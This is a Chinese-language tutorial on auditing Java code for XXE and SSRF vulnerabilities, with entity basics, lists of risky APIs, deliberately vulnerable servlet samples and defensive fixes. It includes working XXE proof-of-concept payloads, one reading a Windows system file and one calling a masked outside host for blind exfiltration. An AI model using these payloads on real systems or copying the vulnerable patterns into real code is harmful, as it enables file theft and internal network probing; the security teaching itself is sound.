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JAVA代码审计之XXE与SSRF

一、XXE

0x01 XXE漏洞简介

XXE(XML外部实体注入,XML External Entity) ,在应用程序解析XML输入时,当允许引用外部实体时,可构造恶意内容,导致读取任意文件、探测内网端口、攻击内网网站、发起DoS拒绝服务攻击、执行系统命令等。Java中的XXE支持sun.net.www.protocol 里的所有协议:http,https,file,ftp,mailto,jar,netdoc。一般利用file协议读取文件,利用http协议探测内网,没有回显时可组合利用file协议和ftp协议来读取文件。

0x02 XXE相关基础概念

XML&DTD

XML (可扩展标记语言,EXtensible Markup Language),是一种标记语言,用来传输和存储数据,而非显示数据。

DTD(文档类型定义,Document Type Definition)的作用是定义 XML 文档的合法构建模块。它使用一系列的合法元素来定义文档结构。

实体ENTITY

XML中的实体类型,一般有下面几种:字符实体、命名实体(或内部实体)、外部普通实体、外部参数实体。除外部参数实体外,其它实体都以字符(&)开始,以字符(;)结束。

1)字符实体

字符实体类似html中的实体编码,形如:a(十进制)或者a(十六进制)。

2)命名实体(内部实体)

内部实体又称为命名实体。命名实体可以说成是变量声明,命名实体只能声明在DTD或者XML文件开始部分(<!DOCTYPE>语句中)。

命名实体(或内部实体)语法:

<!ENTITY 实体名称 "实体的值">

如:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
    <!ENTITY x "First Param!">
    <!ENTITY y "Second Param!">
]>
<root><x>&x;</x><y>&y;</y></root>

定义一个实体名称x 值为First Param!

&x; 引用实体x

3)外部普通实体

外部实体用于加载外部文件的内容。(显式XXE攻击主要利用外部普通实体)

外部普通实体语法:

<!ENTITY 实体名称 SYSTEM "URI/URL">

如:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPe root [
    <!ENTITY outfile SYSTEM "outfile.xml">
]>
<root><outfile>&outfile;</outfile></root>

4)外部参数实体

参数实体用于DTD和文档的内部子集中。与一般实体不同,是以字符(%)开始,以字符(;)结束。只有在DTD文件中才能在参数实体声明的时候引用其他实体。(Blind XXE攻击常利用参数实体进行数据回显)

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
    <!ENTITY % param1 "Hello">
    <!ENTITY % param2 " ">
    <!ENTITY % param3 "World">
    <!ENTITY dtd SYSTEM "combine.dtd">
    %dtd;
]>
<root><foo>&content</foo></root>

combine.dtd中的内容为:

<!ENTITY content "%param1;%param2;%param3;">

上面combine.dtd中定义了一个基本实体,引用了3个参数实体:%param1;,%param2;,%param3;。

解析后<foo>...</foo>中的内容为Hello World。

0x03 XXE审计函数

XML解析一般在导入配置、数据传输接口等场景可能会用到,涉及到XML文件处理的场景可查看XML解析器是否禁用外部实体,从而判断是否存在XXE。部分XML解析接口如下:

javax.xml.parsers.DocumentBuilderFactory;
javax.xml.parsers.SAXParser
javax.xml.transform.TransformerFactory
javax.xml.validation.Validator
javax.xml.validation.SchemaFactory
javax.xml.transform.sax.SAXTransformerFactory
javax.xml.transform.sax.SAXSource
org.xml.sax.XMLReader
org.xml.sax.helpers.XMLReaderFactory
org.dom4j.io.SAXReader
org.jdom.input.SAXBuilder
org.jdom2.input.SAXBuilder
javax.xml.bind.Unmarshaller
javax.xml.xpath.XpathExpression
javax.xml.stream.XMLStreamReader
org.apache.commons.digester3.Digester
…………

0x04 常用测试POC

POC1-外部普通实体

当有回显时,利用ftp协议来读取文件

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE lltest[
<!ENTITY xxe SYSTEM "file:///C:/Windows/win.ini">
]> 
<user><username>&xxe;</username><password>123456</password></user>

POC2-外部参数实体

无回显时 利用http协议来发起请求

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note[ 
<!ENTITY % lltest SYSTEM "http://***.***.***.***:7777/lltest_xxe666">
%lltest;
]>

0X05 XXE漏洞代码示例

解析XML的方法越来越多,常见有四种,即:DOM、DOM4J、JDOM 和SAX。下面以这四种为例展示XXE漏洞。

1) DOM Read XML

protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {      
        String result="";
        try {
            //DOM Read XML
            DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();     
            DocumentBuilder db = dbf.newDocumentBuilder();                  
            Document doc = db.parse(request.getInputStream());

            String username = getValueByTagName(doc,"username");
            String password = getValueByTagName(doc,"password");
            if(username.equals(USERNAME) && password.equals(PASSWORD)){
                result = String.format("<result><code>%d</code><msg>%s</msg></result>",1,username);
            }else{
                result = String.format("<result><code>%d</code><msg>%s</msg></result>",0,username);
            }
        } catch (ParserConfigurationException e) {
            e.printStackTrace();
            result = String.format("<result><code>%d</code><msg>%s</msg></result>",3,e.getMessage());
        } catch (SAXException e) {
            e.printStackTrace();
            result = String.format("<result><code>%d</code><msg>%s</msg></result>",3,e.getMessage());
        }
        response.setContentType("text/xml;charset=UTF-8");
        response.getWriter().append(result);
    }

2) DOM4J Read XML

protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {          
        String result="";
        try {
            //DOM4J Read XML
            SAXReader saxReader = new SAXReader();
            Document document = saxReader.read(request.getInputStream());

            String username = getValueByTagName2(document,"username");
            String password = getValueByTagName2(document,"password");

            if(username.equals(USERNAME) && password.equals(PASSWORD)){
                result = String.format("<result><code>%d</code><msg>%s</msg></result>",1,username);
            }else{
                result = String.format("<result><code>%d</code><msg>%s</msg></result>",0,username);
            }                

        } catch (DocumentException  e) {
            System.out.println(e.getMessage());
        } 
        response.setContentType("text/xml;charset=UTF-8");
        response.getWriter().append(result);
    }

3) JDOM2 Read XML

protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {             
        String result="";
        try {
            //JDOM2 Read XML    
            SAXBuilder builder = new SAXBuilder();  
            Document document = builder.build(request.getInputStream());

            String username = getValueByTagName3(document,"username");
            String password = getValueByTagName3(document,"password");

            if(username.equals(USERNAME) && password.equals(PASSWORD)){
                result = String.format("<result><code>%d</code><msg>%s</msg></result>",1,username);
            }else{
                result = String.format("<result><code>%d</code><msg>%s</msg></result>",0,username);
            }

        } catch (JDOMException  e) {
            System.out.println(e.getMessage());
        } 
        response.setContentType("text/xml;charset=UTF-8");
        response.getWriter().append(result);
    }

4) SAX Read XML

protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {      
        //https://blog.csdn.net/u011024652/article/details/51516220
        String result="";
        try {
            //SAX Read XML
            SAXParserFactory factory  = SAXParserFactory.newInstance(); 
            SAXParser saxparser = factory.newSAXParser();  
            SAXHandler handler = new SAXHandler();  
            saxparser.parse(request.getInputStream(), handler);
            //为简单,没有提取子元素中的数据,只要调用parse()解析xml就已经触发xxe漏洞了
            //没有回显  blind xxe
             result = String.format("<result><code>%d</code><msg>%s</msg></result>",0,1);

        } catch (ParserConfigurationException e) {
            e.printStackTrace();
            result = String.format("<result><code>%d</code><msg>%s</msg></result>",3,e.getMessage());
        } catch (SAXException e) {
            e.printStackTrace();
            result = String.format("<result><code>%d</code><msg>%s</msg></result>",3,e.getMessage());
        }
        response.setContentType("text/xml;charset=UTF-8");
        response.getWriter().append(result);
    }

0x06 XXE漏洞防御

使用XML解析器时需要设置其属性,禁用DTDs或者禁止使用外部实体。

以上例中DOM - DocumentBuilderFactory为例,防御代码如下:

dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); //禁用DTDs (doctypes),几乎可以防御所有xml实体攻击
//如果不能禁用DTDs,可以使用下两项,必须两项同时存在
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);      //防止外部普通实体POC 攻击
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);   //防止外部参数实体POC攻击
JAVA代码审计之XXE与SSRF

其它XML解析器的漏洞防御可参考

https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Prevention_Cheat_Sheet#Java

上述XXE漏洞与防御完整示例代码 已上传Github 详见 https://github.com/pplsec/JavaVul/tree/master/MyXXE

二、SSRF

0x01 SSRF漏洞简介

SSRF(Server-Side Request Forge, 服务端请求伪造),攻击者让服务端发起指定的请求,SSRF攻击的目标一般是从外网无法访问的内网系统。Java中的SSRF支持sun.net.www.protocol 里的所有协议:http,https,file,ftp,mailto,jar,netdoc。相对于php,在java中SSRF的利用局限较大,一般利用http协议来探测端口,利用file协议读取任意文件。

0x02 SSRF审计函数

SSRF漏洞一般位于远程图片加载与下载、图片或文章收藏功能、URL分享、通过URL在线翻译、转码等功能点处。

代码审计时需要关注的发起HTTP请求的类及函数,部分如下:

HttpURLConnection. getInputStream
URLConnection. getInputStream
Request.Get. execute
Request.Post. execute
URL.openStream
ImageIO.read
OkHttpClient.newCall.execute
HttpClients. execute
HttpClient.execute
……

0x03 SSRF漏洞代码示例

1) HttpURLConnection

//HttpURLConnection ssrf vul
String url = request.getParameter("url");
URL u = new URL(url);
 URLConnection urlConnection = u.openConnection();  
HttpURLConnection httpUrl = (HttpURLConnection)urlConnection;   
BufferedReader in = new BufferedReader(new InputStreamReader(httpUrl.getInputStream())); //发起请求,触发漏洞
String inputLine;
 StringBuffer html = new StringBuffer(); 

 while ((inputLine = in.readLine()) != null) {
         html.append(inputLine);
        }        
 System.out.println("html:" + html.toString());
 in.close();

2) urlConnection

//urlConnection ssrf vul
String url = request.getParameter("url");
URL u = new URL(url);
URLConnection urlConnection = u.openConnection();
BufferedReader in = new BufferedReader(new InputStreamReader(urlConnection.getInputStream())); //发起请求,触发漏洞
String inputLine;
StringBuffer html = new StringBuffer();
while ((inputLine = in.readLine()) != null) {
     html.append(inputLine);
}        
System.out.println("html:" + html.toString());
in.close();

3) ImageIO

// ImageIO ssrf vul
String url = request.getParameter("url");
URL u = new URL(url);
BufferedImage img = ImageIO.read(u); // 发起请求,触发漏洞

4) 其他

// Request漏洞示例
String url = request.getParameter("url");
return Request.Get(url).execute().returnContent().toString();//发起请求

// openStream漏洞示例
String url = request.getParameter("url");
URL u = new URL(url);
inputStream = u.openStream();  //发起请求


// OkHttpClient漏洞示例
String url = request.getParameter("url");
OkHttpClient client = new OkHttpClient();
com.squareup.okhttp.Request ok_http = new com.squareup.okhttp.Request.Builder().url(url).build();
client.newCall(ok_http).execute();  //发起请求

// HttpClients漏洞示例
String url = request.getParameter("url");
CloseableHttpClient client = HttpClients.createDefault();
HttpGet httpGet = new HttpGet(url);
HttpResponse httpResponse = client.execute(httpGet); //发起请求

0x04 SSRF漏洞防御

1)限制协议为HTTP、HTTPS协议。

2)禁止30x跳转。

3)设置URL白名单或者限制内网IP。

4)限制请求的端口为http常用的端口。

以上例中HttpURLConnection为例,防御代码如下:

String url = request.getParameter("url");
if (!SSRFHostCheck(url)) {
        System.out.println("warning!!! illegal url:" + url);
         return;
}    
URL u = new URL(url);

URLConnection urlConnection = u.openConnection();  
HttpURLConnection httpUrl = (HttpURLConnection)urlConnection;   

httpUrl.setInstanceFollowRedirects(false); //禁止30x跳转

BufferedReader in = new BufferedReader(new InputStreamReader(httpUrl.getInputStream())); //send request
……………………


public static Boolean SSRFHostCheck(String url) {
    try {
       URL u = new URL(url);
       // 限制为http和https协议
           if (!u.getProtocol().startsWith("http") && !u.getProtocol().startsWith("https")) {
           String uProtocol = u.getProtocol();
           System.out.println("illegal Protocol:" + uProtocol);
           return  false;
         }

          // 获取域名或IP,并转为小写
          String host = u.getHost().toLowerCase();
          String hostwhitelist = "192.168.199.209";     //白名单    
          if (host.equals(hostwhitelist)) {
           System.out.println("ok_host:" + host);
           return true;
           } else {
            System.out.println("illegal host:" + host);
            return false;
          }
        } catch (Exception e) {
            return false;
        }
    }

上述SSRF漏洞与防御完整示例代码 已上传Github 详见 https://github.com/pplsec/JavaVul/tree/master/MySSRF

参考

https://xz.aliyun.com/t/1633

http://rickgray.me/2015/06/08/xml-entity-attack-review/

https://github.com/c0ny1/xxe-lab/blob/master/java_xxe/src/me/gv7/xxe/LoginServlet.java

https://joychou.org/java/javassrf.html

https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/SSRF.java
原文  https://xz.aliyun.com/t/2761
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